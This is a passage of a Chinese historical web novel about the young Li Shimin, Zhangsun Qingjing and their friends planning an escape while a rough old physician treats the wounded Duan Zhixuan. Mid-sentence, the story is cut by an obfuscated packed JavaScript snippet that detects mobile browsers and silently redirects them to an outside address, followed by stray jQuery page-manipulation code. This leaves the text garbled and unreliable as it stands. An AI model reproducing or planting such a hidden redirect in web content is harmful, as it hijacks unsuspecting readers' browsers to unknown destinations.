段志玄刚想开口,一阵晕眩袭来,几乎昏死过去。李世民扶住他。众人等了许久,才听到段志玄有气无力的声音。
“让张亮拿着过所去河东,远离河南,到了晋阳再从长计议!你若不嫌弃,就去找我父亲,他平日有点私藏逃犯的癖好……”段志玄倚着树干,若有所思道,“我怕是不能动了,你二人能替我报个信吗?”
“当然。”李世民发现这个少年因遇到知己而过于兴奋,以至于滔滔不绝,精疲力竭,也说不准什么时候又会昏死过去,便凑近他,“你轻点说,我听着。”
“你们替我跑一趟新安,离这里不远,四个时辰就能来回。县城集市里有家曹记古玩店,铺主是个十八九岁的粟特人,雅言说得比高公子还准——他是白丸——错了,你们不要进城,去城南‘青筠别墅’找他,叫他赶紧安排张亮去河东,然后到此处接应我,把我转移到安全之处,养好伤再回河东。跟他说:十万火急,再不来就真的只能替我收尸了!——还有,记得不准说他是粟特人,胡人,条支人,会挨砍。人家早和谯郡曹氏联宗了。”
“好,我记得了。”李世民突然恍然大悟道,“那位曹公子,我上元夜看景弄时也见过,还做过两首歪诗送我……”
“我们真的并非意算计你,我与他散完米粟就分开了……”段志玄满怀歉意,“我们要是早一些认识你们就好了。”
“无碍,能认识你们几个意气相投的朋友,这辈子也值得了,我这就去找曹公子。”李世民攥紧段志玄的手,“我们分三路逃跑,一路直接用假过所去河东,一路隐匿在新安,一路回北邙,官兵应该无计可施。你千万撑住!”
“且慢!”长孙青璟道,“李娘子怎么办,她不会骑马。张亮若带她逃亡,很容易被认出来。”
“这……”段志玄犹豫道,“我确实没有想过……”
四人同时望向李梵娘。坚毅的小新娘此时面临生离死别的抉择,一时竟然抽噎起来:“我还有何处可去?我当然跟着阿亮走……”
“且慢,我有主意了。”长孙青璟抽出障刀,插在初春的泥土中,缓缓说出自己的计划。
“我留在这里,照顾志玄,保护李娘子。等世民带回白丸曹郎,确认志玄安全离开后。我们就把李娘子和她寡母弱弟都接去李家别业——张亮,你安心前去,我和李世民必保你妻子一家无虞。”
张亮刚想开口言谢,长孙青璟将火把凑近他,虚晃一下道,“不要谢我,你到了河东,不准自暴自弃,就照着志玄说的去找晋阳县尉——你记住,有个女孩子为了你连命都不要了,你要敢轻易把自己交代了,我就敢找到你坟头掘地三尺,把你刨出来鞭尸,听到了没有?”
三个少年深感自己之前的考虑失当,不禁对长孙青璟肃然起敬。
张亮哽咽着向众人稽首,算是在众人见证下保证活着回来与妻子团圆。
“走!”李世民与张亮收拾行装、武器,即刻就要上路。
“一群不知天高地厚的小畜生,大半夜在老子林子里商议些什么阴谋诡计!且等我报官把你们统统抓去!”一位老者的声音在众人耳边回荡。
“尊驾何人?为何鬼鬼祟祟不敢现身?”李世民怒喝道。
李世民、张亮、长孙青璟皆持刀以待。
“等一等,不要伤他!”李梵娘慌张地伸出手臂挡在三人与那洪亮声音的来处,“是韦先生,自己人!段公子有救了。”
她激动地朝着林子深处大喊:“韦先生,韦先生,我是梵娘啊!你来的正好,快救救张亮的朋友!”
“梵娘啊,你怎么把青庐搭到我林子来了?”火光一闪,一张似曾相识的脸出现在长孙青璟面前,“早跟你说不要嫁给这个小混蛋,现在可好,婚礼当晚惹出这么多是非来。”
众人被这四五十岁长者的威严气度吓得大气不敢出,张亮的头垂得尤其低——那副理亏的模样与抗拒服役时的愤世嫉俗、怒气冲冲准备杀了段志玄时的果决以及与国公之子、县尉之子结拜时毫不露怯的自信形成了强烈反差,李世民不禁啧舌。
长孙青璟思绪混乱,依稀觉得眼前长者这张脸与她看过的某幅画像上的脸神似——也许是李大志向她炫耀的某位祖先?
太可笑了,李客师的亲戚怎么会出现在这个山谷里?而且言谈举止如此粗鄙?
李梵娘环顾了一下四周,决意找个能听懂韦先生来历的人。踯躅片刻,她凑近李世民,低声说道:“公子不要与我义父争执。大家都传言他是杨玄感案的漏网之鱼,或者逃服徭伇的贵人,为了避祸,平日里一贯深居简出。想来年轻时也是好勇斗狠之人。这次我也给他发请柬了,他送了厚礼,却说不便前来,怕遇到意外牵连我与张亮。但是因为他有医术傍身,会给人接骨,落星峪附近的村民都很尊敬忌惮他。户曹来村里时,大家就相互掩饰说韦先生是个发疯的医生,某次采卷柏时,摔下悬崖,侥幸未死,除了医术什么都不记得了。他为我幼弟治过病,我常替他缝补衣服。他总说我长得像他过世的女儿,待我极好。”
韦先生持火把上前,对着梵娘慈爱地一笑:“今夜那场好戏我都知道啦。几对兵马来此处查问你们下落。我急得到处找你,现在才放心。你没受伤就好。至于张亮那害人东西,死了就死了,被抓了就抓了,不足为惜……”说罢,拳风已经将张亮震了个趔趄,“像他这种好勇斗狠的年轻人,世上多得是,我再替你找一个便是。”
张亮大气不敢出,段志玄躺着看戏,长孙青璟正努力回想这张熟悉的脸。李世民偏要上前与这将对亡女之爱寄寓在李梵娘身上的老者理论。
“老人家,他们好不容易脱险,你怎么可以……”
“放肆!”韦先生火把在李世民眼前滑过,火星和唾沫一齐溅到他脸上,“你这小郎君是不是还没娶妻啊?没挨过丈人的拳脚是不是?你看张亮都不敢在我面前放个屁!我教训女婿呢,要你替张亮出头!你滚一边去!这里没你说话的份!”
“你——”李世民少有遭人抢白却无力回击的时刻,只能恨恨道,“既然是李娘子义父,就算是我掺和家事的不是。”
“你们滚去两边,我看看这姓段的。”韦先生举着火把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652726|178809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凑近段志玄,端详了一下肩伤,十拿九稳道,“放心,死不了。你们三个赶紧把这小子搬上马,梵娘今夜不要再乱跑了,去我家等他同伙过来接他。”
张亮与李世民依计行事,将段志玄搬上马背。段志玄摇晃了数下,在马鞍上坐稳之后,韦先生问道:“我刚才听说你们准备安排张亮去河东,再找人接这个姓段的。谁去报信?”
“我和李兄去。”张亮在韦先生面前有种无地自容的窘迫。
果然丈人是这世上最可怕的活物——李世民偷瞄了一眼长孙青璟,只见她正诧异地望着眼前嚣张拨扈的长者,似乎与自己心有戚戚焉。
“哦,你不要再把事情搞砸。这里可有好几条人命呢!”韦先生迟疑了一下,指了指自己房舍的方向,“回来时记得找到门前三棵被剥光皮的槐树那里——快去新安吧,四周的守兵都被我杀光了。快走!”
“你们千万小心呐!”李梵娘的呼喊被夜风吞没。
急促的、焦灼的马蹄声渐渐消失在荒山野径之中……
“梵娘,不要念佛了……”韦先生太息道,“念佛不管用,也让我心烦。打起精神,你还有要事在身,我们一起救他。”
李大志,李大慧为什么会有与此人形貌相仿的人的画像?长孙青璟疑惑不已,默默挽起缰绳,随着韦先生前往他的茅舍。
韦先生左手执火把,右手执刀,引导长孙青璟来到他所说的三棵剥光了皮的槐树下。
“不用看了。”长者望着抬头叹息的长孙青璟道,“就是你想的那个样子。”
“先生知道我心中所想?”
韦先生指指树上凌乱破旧的布块:“树皮被流民拿来充饥,布料是一些河东人的招魂幡——好有趣的世道,人还没死,先挂起了招魂幡,然后半夜里排队上吊,次第投井,唯恐晚了连死的地方都找不到……”
俯卧在马鞍上的段志玄骂了一句:“昏君!暴君!”
“段公子,你留点力气,待会儿不要耽搁我给你治伤。”韦先生打开柴门,叮嘱李梵娘一句“小心”,又向长孙青璟道:“我虽然是个老无赖,但是也不敢轻易取下这些招魂幡,我可不会嫌自己命长,就怕找不到渡口的恶鬼来找我……诶呦得罪诸位了,阿弥陀佛……”
说罢,这个不准养女念佛的玩世不恭之人居然对着几棵槐树生出敬畏之心来。
韦先生说得令人生怖,长孙青璟观他言行却认定此人尚有仁爱之心,便向他拱手致意:“先生仁义。晚辈对正月之事实在也不知如何评判……”
三人扶着段志玄下马,韦先生虽然年纪最长,身手却极其矫健。李梵娘与长孙青璟略一使力,便将段志玄置于他背上,由他驮着进屋。
一路上,韦先生问长孙青璟道:“高公子,你平日里单枪匹马外出时,若是衣服被树枝勾坏,会自己缝补吗?”
长孙青璟误以为自己衣服在树林子里扯坏了她却没发现,韦先生好意提醒,便照实回答:“当然会。”
“那就好。”韦先生并未指出长孙青璟衣服上的口子,只是似笑非笑地回答。